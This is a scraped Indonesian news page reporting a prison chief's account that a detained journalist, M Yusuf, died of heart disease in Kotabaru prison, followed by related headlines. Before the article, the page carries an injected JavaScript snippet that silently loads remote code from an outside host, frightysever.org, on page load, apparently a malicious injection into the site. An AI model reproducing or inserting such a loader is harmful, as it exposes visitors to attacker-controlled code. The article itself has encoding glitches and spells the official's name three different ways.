(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Meninggal seorang awak media secara tiba-tiba di Lapas Klas 2B Kotabaru membuat insan media ingin mengetahui bagaimana kronologis sampai sampai hal itu terjadi. Dikonfirrmasi saat pertemuan buka puasa Kemenkumham Kalsel di Hotel Golden Tulip, Senin (11/6), Kepala Lapas Klas 2B Kotabaru Suhartomo mengatakan, M Yusuf meninggal karena suatu penyakit lama diidapnya yaitu sakit jantung.
Hal ini dipaparkan Kalapas Klas 2B Kotabaru bahwa semejak pertemuannya dengan M Yusuf, ia sudah melihat Yusuf selalu mengeluh kesakitan setiap saat, dari pihak kesehatan Lapas pun sudah sering mengambil tindakan medis.
“Saat ditahan almarhum sudah sering megeluh sakit, yang saya ketahui dia ada penyakit jantung,†ungkap Suhartono .
Ditambahkannya, SOP (Standard Operating Procedure) yang dilakukan oleh Lapas 2B Kotabaru telah sesuai, tidak ada warga Lapas dibiarkan begitu saja apabila terjadinya gangguan penyakit kepada salah seorang tahanan.
“Kami sering melakukan penanganan medis ketika beliau mengadu kesakitan,†katanya.
Pada saat melakukan visum pun tambah Suharto, oleh pihak Rumah Sakit di Kotabaru, pihak keluarga menolak dan sudah percaya apa yang diberitahukan oleh Lapas Kotabaru tentang meninggalnya secara tiba-tiba.
“Pihak keluarga sudah mengetahui bahwa almarhum mengidap penyakit jantung jadi menolak untuk divisum,†katanya.
Sementara itu, Kepala Divisi Permasyarakatan Kemenkumham Kalsel Asep Syarifuddin mengatakan, pada hari Minggu pihaknya menerima laporan dari Kalapas Kotabaru tentang meninggalnya seorang tahanan di dalam Lapas, diceritakan kronologis oleh kalapas pada saat itu tahanan saat pertama masuk Lapas sudah mengidap penyakit jantung. Tahanan tersebut pun sudah dua kali masuk Rumah Sakit saat berada di Lapas Kotabaru.
“Pada saat almarhum meninggal, mungkin adalah puncaknya beliau merasa sakit dengan jantungnya,†katanya.
Keluhan dari penyakit tersebut terus menerus, saat dibawa ke rumah sakit meninggal dunia, hal ini memperhatikan bahwa SOP dari Lapas Kotabaru memang benar terlaksana dan sesuai.“Ini memang sesuai prosedurnya,†ungkapnya.
Asep memberikan saran kepada Kalapas Kotabaru untuk membuatkan berita acara yang diserahkan dari Lapas ke Kejaksaan atau pihak yang berwenang akan hal tersebut, lalu diserahkan ke pihak kekeluarga.
“Keluarganya tidak ada yang menolak, bahkan ada dari pihak lembaga hukum yang meminta visum, namun keluarga dari almarhum tidak mau karena sudah mengetahui bahwa almarhum mengidap penyakit jantung,†pungkasnya. (ammar)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.